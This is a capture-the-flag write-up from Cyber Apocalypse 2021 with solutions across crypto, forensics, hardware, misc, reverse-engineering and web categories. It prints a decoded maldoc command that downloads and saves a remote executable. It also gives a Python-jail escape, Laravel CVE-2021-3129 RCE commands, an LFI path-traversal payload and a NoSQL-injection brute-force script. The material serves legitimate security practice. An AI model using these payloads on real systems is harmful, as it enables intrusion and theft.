Cyber Apocalypse 2021
Crypto
Nintendo Base64
Solved by : thewhiteh4t
Cyberchef recipe :
[
{ "op": "Find / Replace",
"args": [{ "option": "Regex", "string": " " }, "", true, false, true, false] },
{ "op": "Find / Replace",
"args": [{ "option": "Regex", "string": "\\n" }, "", true, false, true, false] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] }
]
PhaseStream 1
Solved by: Legend
- Each character will be XOR with each character of the key and the length of the key is 5 characters.
start = bytearray.fromhex('2e313f2702') #Randomly tried from starting of given cipher
text = 'CHTB{'.encode()
key = b''
output = b''
for i in range(len(start)):
key += bytes([text[i] ^ start[i]])
print('Key: ' + str(key))
print('Key len: '+ str(len(key)))
print('Key type: ' + str(type(key)))
print('Key hex: ' + key.hex())
for i in range(int(len(start))):
output += bytes([start[i] ^ key[i % len(key)]])
print('2e313f2702 --> '+ '(' + output.hex() + ')' + ' == ' + str(output) + '(text)')
shifr = bytearray.fromhex('2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904')
output2 = b''
for i in range(len(shifr)):
output2 += bytes([shifr[i] ^ key[i % len(key)]])
output_dec = output2.decode(errors='ignore')
print('Flag: '+ output_dec)
print('Flag hex: '+ output.hex())
Flag: CHTB{u51ng_kn0wn_pl41nt3xt}
SoulCrabber 1
Solved by : ava and thewhiteh4t
Solution :
- since the seed remains fixed and we know the seed the randomized values in each run will be same so we just have to inverse XOR the cipher text to get the flag
- hex decode cipher text
- convert each char to 8 bit int
- xor against random 8 bit integers
- convert integer to char
XOR Function :
fn rand_xor(input : String) -> String {
// get_rng function is called
let mut rng = get_rng();
return input
.chars() // converts string into array of chars
.into_iter() // converts vector into iterable
// map applies a function to each element
// {:02x} converts integers to 2 char hex format
// u8 is 8 bit unsigned integer
// ^ is bitwise XOR
// XOR against random 8 bit integer
.map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>())))
.collect::<Vec<String>>()
.join("");
}
Get Numbers from hex string :
fn rev_xor(input : String) {
let mut rng = get_rng();
let inp_arr = hex::decode(input);
println!("{:?}", inp_arr);
...
[27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115]
use those numbers into array and iterate it over :
use rand::{Rng,SeedableRng};
use rand::rngs::StdRng;
use std::fs;
use std::io::Write;
fn get_rng() -> StdRng {
let seed = 13371337;
return StdRng::seed_from_u64(seed);
}
fn rand_xor(input : String) -> String {
let mut rng = get_rng();
//print!("{:?}",rng.gen::<u8>());
let arr = [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115];
let space = "\t";
for i in &arr
{
print!("{}", (i ^ rng.gen::<u8>()));
print!("{}", space);
}
return input
}
fn main() -> std::io::Result<()> {
let flag = fs::read_to_string("flag.txt")?;
let xored = rand_xor(flag);
//println!("{}", xored);
let mut file = fs::File::create("out.txt")?;
file.write(xored.as_bytes())?;
Ok(())
}
Forensics
AlienPhish
Solved by : Starry-Lord
- Unzip and find ‘Alien Weaknesses.pptx’
- Unzip again and go to ppt/slides/_rels/
- Read slide1.xml.rels to find a suspicious relation tag
cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&&for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&&if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22
- Go to cyberchef
- From url decode
- Reverse
"%=!XCk*:XCk% llac 0 qel X% fi;pma&;pma&!1,X%~:My!!XCk!=XCk tes od)0;1-;221( ni X% L/ rof;pma&;pma&powershell -c "$o = $env:temp 'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"=My tes"C/NO:V/ exe.dmc
Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99
- From base64 and select the urlSafe alphabet
CHTB{pH1sHiNg_w0_m4cr0s???}
Invitation
Solved By : Starry-Lord
- So we get a docm file.
- I start by unzippping the word document
- We get a docm
- Unzip it again and see folders
PART 1
- First thing I tried to do after looking around was
strings vbaProject.bin
- Which gives back interesting hex lines.
- Then decrypt from hex
- From base64 urlsafe alphabet will show the following
CHTB{maldocs_are
PART 2
- Upload full vbaProject file this time and do the same as before.
- Use base64 urlsafe alphabet
- We get second part of the flag by reversing
_the_new_meta}
CHTB{maldocs_are_the_new_meta}
Oldest trick in the book
Solved by : thewhiteh4t
- We are given a pcap which consists of mostly TLS and ICMP traffic
- ICMP looks promising as we can see the header of ZIP file
PK
- Another thing was that the the traffic from both IP address was similar I focused on only one of them
- To extract data of all these packets I used tshark
$ tshark -r older_trick.pcap -T fields -e data.data -Y "ip.src == 192.168.1.7" > 192.168.1.7.txt
- After this I looked for duplicate packets in the text file
- So we have 10127 unique icmp data packets
- To decode hex and compile all the data I created a small python script
- But I was not getting proper file format of resultant file so I inspected the data
- There were duplicates in the data as well!
b7ae04 0000000000 504b0304140000000000729e8d52659b 504b0304140000000000729e8d52659b 504b030414000000
ead104 0000000000 4c6b1800000018000000100000006669 4c6b1800000018000000100000006669 4c6b180000001800
99e804 0000000000 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e
cafb04 0000000000 736368656d61223a362c226164646f6e 736368656d61223a362c226164646f6e 736368656d61223a
- This is the data from first 4 packets for an example
- After first 6 characters we have 10 zeroes
- After that a unique string
- The string is repeated after that
- Then a partial repetition can be seen at the end
- I tried various combinations and in the end only the unique string was needed from each packet i.e
504b0304140000000000729e8d52659b
for first line as an example
#!/usr/bin/env python3
import binascii
msg = []
with open('unique.txt', 'r') as raw:
raw_arr = raw.readlines()
for line in raw_arr:
if len(line) == 97:
line = line.strip()
line = line[16:48]
plain = binascii.unhexlify(line)
msg.append(plain)
with open('result.zip', 'wb') as res:
for line in msg:
res.write(line)
- The script iterates over each line in the file and skips empty lines if it finds any
- Then it slices of extra characters as stated above
- Then it decodes the hex into binary data and appends it in a file
- And we get a proper zip file!
- Here are the extracted contents of the zip
- After some enumeration of all files they point towards Mozilla Firefox
- After some googling I found that this is a firefox profile dump
- In linux the default path for profiles is
/home/user/.mozilla/firefox
- I copied the folder into profiles folder and then edited the
profiles.ini
file present inside it to add the following entry
[Profile2]
Name=fini
Path=fini
IsRelative=1
- After this I launched firefox from CLI using
$ firefox -P
- It provides an option to choose a specific profile and launch the browser with it
- After the browser launched with the new profile and checked the saved logins and here we have the flag!
Hardware
Solved by : Nigamelastic
.sal
files are saleae logic analyzer files.- I got this as reference https://dystopia.sg/allesctf20-PWNkemon/ so i downloaded the sla logic analyzer https://www.saleae.com/downloads/
- from here after installing, i opened the sal files which i could and then the following:
Serial Logs:
- I imported the value i am pretty sure if i find the right analyzer it should work
- by far for this challenge async serial works the best
- challenge states raspberry pi which has a baud rate of 115200
- after some pondering i realized that there are some errors in parity on fixing them and using the
115200
in async serial we get the hex converting which gives us this:
https://www.dropbox.com/s/ztqoa16wvp6rvf6/message.txt?dl=0
- found this : https://6e726d.github.io/Challenge/Ekoparty15/
- this writeup explains how to get the baud rate
- open the SAL file and zoom
- zoom
- zoom
- zoom
- until you see the smallest unit of the digital wave then measure it: as its 13.498
- since it is in μ we will divide it by 1000000
- so 1000000/13.498 = 74085.049637
- I obviously used 74000 as bit rate, converted the hex to ascii with the tool itself and it gave me the flag:
CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}
Compromised
- import the file in salea logic analyzer, and use i2c analyzer
- export the data and you will see two columns if we take everything written and try the hex dump we get
set_maCxH_lTimB{itn_tuo1:110_se73t_2mimn1_nli4mi70t_2to5:_1c0+.]<+/4~nr^_yz82Gb3b"4#kU_..4+J_5.
3M.2B1.4B.1dV_5. yS.5B7k3..1V.Qxm.!j.@Q52yq)t%# @5%md}S.
- and we can see its slightly off i noticed the following :
- so i used only
0x2C
used the corresponding hex
which is
0x43 0x48 0x54 0x42 0x7B 0x6E 0x75 0x31 0x31 0x5F 0x37 0x33 0x32 0x6D 0x31 0x6E 0x34 0x37 0x30 0x32 0x35 0x5F 0x63 0x34 0x6E 0x5F 0x38 0x32 0x33 0x34 0x6B 0x5F 0x34 0x5F 0x35 0x33 0x32 0x31 0x34 0x31 0x5F 0x35 0x79 0x35 0x37 0x33 0x6D 0x21 0x40 0x35 0x32 0x29 0x23 0x40 0x25 0x7D
- and got the flag
CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%}
Misc
Alien Camp
Solved By : thewhiteh4t
- The challenge server sends a randomized set of emoji and value pair
- We can get all pairs from option 1
- After getting all pairs we can start calculating values for each question
- If you get EOF Error just restart the script
- After 500 questions we get the flag
#!/usr/bin/env python3
from pwn import *
host = '46.101.82.40'
port = 32156
conn = remote(host, port)
conn.recvuntil('>').decode()
print('[+] Getting some help...')
conn.send('1\n')
out = conn.recvuntil('\n>').decode()
help_arr = out.split('\n')
help_txt = help_arr[2]
store = help_txt.split(' ')
emojis = []
vals = []
new_store = {}
counter = 0
for item in store[0::3]:
if len(item) > 0:
emojis.append(item)
for item in store [2::3]:
vals.append(item)
for emo in emojis:
new_store[emo] = vals[emojis.index(emo)]
if len(new_store) != 0:
print('[+] Help recieved!')
conn.send('2\n')
def solve(conn):
global counter
if counter != 500:
q_txt = conn.recvuntil('?').decode()
q_txt = q_txt.split('\n')
q_txt = q_txt[-1]
print(f'[Q:{counter}] {q_txt}')
q_txt = q_txt.split(' =')
q_txt = q_txt[0]
q_emo = q_txt.split(' ')
for elem in q_emo:
if elem in new_store:
q_txt = q_txt.replace(elem, new_store[elem])
ans = eval(q_txt)
print(f'[+] Sending {ans}')
conn.send(str(ans) + '\n')
else:
flag = conn.recvuntil('}').decode()
print(flag)
conn.close()
counter += 1
while counter <= 500:
solve(conn)
Input as a service
Solved by : ava
- We are given a py-jail
- https://programmer.help/blogs/python-sandbox-escape.html
- I used this website as reference,
os
and such imports are banned, so we used string manipulation - we just reverse the string
os
toso
and import it and then dols
command to * * see theflag.txt
and then justcat
the flag - the code to do is given below
# use this to check the files present
__import__('so'[::-1]).system('ls')
# this is called reverse print method, "so" actually os
flag.txt
input_as_a_service.py
# read the file
__import__('so'[::-1]).system('cat flag.txt')
CHTB{4li3n5_us3_pyth0n2.X?!}
Robotic Infiltration
Solved by : thewhiteh4t
- We got a
capture.bag
file in this one - The challenge mentions ROS which leads to a utility called
rosbag
- rosbag can be used to play this bag file
- Installation and tutorials are given in ros wiki : http://wiki.ros.org/Documentation
- The challenge mentions
rebuild plan for facility
- after some poking around we saw rosbag comes with another utility known as
rviz
- rviz can be used for 3d visualization of bag files
Step 1 : Start roscore
Step 2 : Play bag file
$ rosbag play capture.bag
Step 3 : Launch rviz
$ rosrun rviz rviz
- Now all we had to do was tweak things in rviz a little to improve visibility and eventually we spotted the flag
- After some play and pause action we got the full flag
CHTB{r0s_1s_r0b0tic_p0w3r}
RE
Authenticator
Solved by chronocruz.exe
- Disassembling the binary using IDA we get the first code block
- Here we can clearly see the “Alien ID: “ that is supposed to be the first input
- To find the pin, we proceed down the code flow
- We can see there’s a function named “checkpin” being called so we look at what its doing
- It may get slightly difficult to understand what this code really means..
- We can use decompilers like Ghidra to try to convert this into something we can understand better.
- Looking at the decompiled “checkpin” function, we can clearly see a XOR operation on a string.
- It’s safe to say that our pin must be the XOR of each character in this string with 9.
- With the help of this simple Python script we print the flag
Passphrase
Solved by chronocruz.exe
Disassembling the binary in IDA we reach the first code block where a certain portion of the code caught my eye
- So I wrote down the string given here
3xtr4t3rR3stR14L5_VS_hum4n5
- Tried using this string in the program and voila!
Web
Inspector gadget
Solved by: Bobby sox and ava
-
Visiting the webpage we see a part of a flag: CHTB{
-
If we keep looking around the pages, we find in /static/js/main another part of the flag:
us3full_1nf0rm4tion}
- This in combination with the flag on the website is not the correct flag so far.
- static/css/main.css has another potential hint at the top with: c4n_r3ve4l_
- so, so far we have collected 3 pieces of a flag:
1. CHTB{
2. us3full_1nf0rm4tion}
3. c4n_r3ve4l_
- in js.main we will also find the last piece of our flag:1nsp3ction_
- the full flag ended up being :
CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}
Cass
Solved by : thewhiteh4t
- Input sanitization is only in front end via javascript
- we can use burpsuite to bypass that
DAAS
Solved by: Nigamelastic
- The hint for this challenge talks about being stuck in debug.
- Some research shows there is a CVE for this, and the Laravel version were working with is vulnerable.
- https://www.exploit-db.com/exploits/49424
- https://www.youtube.com/watch?v=gr8ZKQpYiug&
CVE-2021-3129 : https://nvd.nist.gov/vuln/detail/CVE-2021-3129
- Find
ip/_ignition/execute-solution
- For a laravel panel with error messages and stack trace.
- https://www.ambionics.io/blog/laravel-debug-rce
- As mentioned in the blog above i tried performing a post request but it gave me a 302 response
- but the above link mentions their github page and exploit which is
https://github.com/ambionics/phpggc
andhttps://github.com/ambionics/laravel-exploits
the idea is to get the phar file with ur custom command from 1st repo and then put the phar file into the exploit with specified url to run the exploit
PS: for a linux command with spaces simply use "
- so for our case since we know the flag was found on the root directory and its name as
flagM1AhS
- our phpggc command should be
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flagM1AhS"
- run that in the exploit as:
./laravel-ignition-rce.py http://165.227.234.7:31636/ /tmp/exploit.phar
- and we have the flag:
CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
MiniSTRyplace
Solved by: Bobbysox and thewhiteh4t
- hint1: “Let’s read this website in the language of Alines. Or maybe not? This challenge will raise 33 euros for a good cause.”
- hint2: The challenges name is “miniSTRyplace”. This is a play on words for str_replace.
-
We see right away that we can change language and it is represented:
ip.address/?lang=es.php
a perfect place to try LFI - In order to prevent path traversal, developers can implement blacklisting. It will usually look something like this:
$language = str_replace('../', '', $_GET['language']);
- This is where you can see the name of the challenge was a hint to the sec measures used. *now we can modify our final payload to bypass blacklisting:
http://46.101.77.180:32490/?lang=....//....//....//....//....//....//....//....//etc/passwd
- Our exploit is successful, to get the flag we just used the following :
http://165.227.234.7:30779/?lang=....//....//flag
Wild Goose Hunt
Solved by : thewhiteh4t
- We have a cool login page and source of the web app for this one
- entrypoint.sh contains the following :
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
sleep 2
mongo heros --eval "db.createCollection('users')"
mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
/usr/bin/supervisord -c /etc/supervisord.conf
- we can see that the flag is being stored as the password of admin
- we need to somehow extract the password
- since its mongoDB first assumption was to check for NoSQL injection
- Here is the error message we get in burp for a normal attempt
- Lets switch to repeater here
- so we are getting a json response and the message is being displayed in the frontend
- next i tried some basic payloads for NoSQL injection
username[$ne]=lol&password[$ne]=lol
- Authentication bypassed! but we dont get any functionality in the frontend so i proceeded with more payloads
username=admin&password[$regex]=A*
- This is an interesting payload because we can use a wildcard to check if a particular character is present in the password or not!
- we know that the flag is the password and flag begins with
CHTB{
so I tried that next
username=admin&password[$regex]=CHTB{.*
- And it works again!
- Now we can bruteforce characters and check for success message to get correct characters
- I created a small python script for it
#!/usr/bin/env python3
#################################
## Author : thewhiteh4t ######
## Challenge : Wild Goose Hunt ##
#################################
import json
import requests
ip = '138.68.187.25'
port = 31370
url = f'http://{ip}:{port}/api/login'
flag = 'CHTB{'
charset = '_01234abcdefghijklmnopqrstuvwxyz'
loop_iter = 1
while flag.endswith('}') == False:
for char in charset:
if loop_iter == 1:
payload = flag + char + '.*'
else:
payload = flag + '}'
data = {
'username': 'admin',
'password[$regex]': payload
}
try:
rqst = requests.post(url, data=data)
except Exception as e:
print(f'[-] Exception : {e}')
exit()
if rqst.status_code == 200:
resp = rqst.text
json_resp = json.loads(resp)
status = json_resp['logged']
if status == 1:
if payload.endswith('}') == False:
flag = payload.replace('.*', '')
else:
flag = payload
print(f'FLAG : {flag}')
exit()
print(f'FLAG : {flag}')
loop_iter = 0
break
else:
print(f'[-] Error : {rqst.status_code}')
loop_iter += 1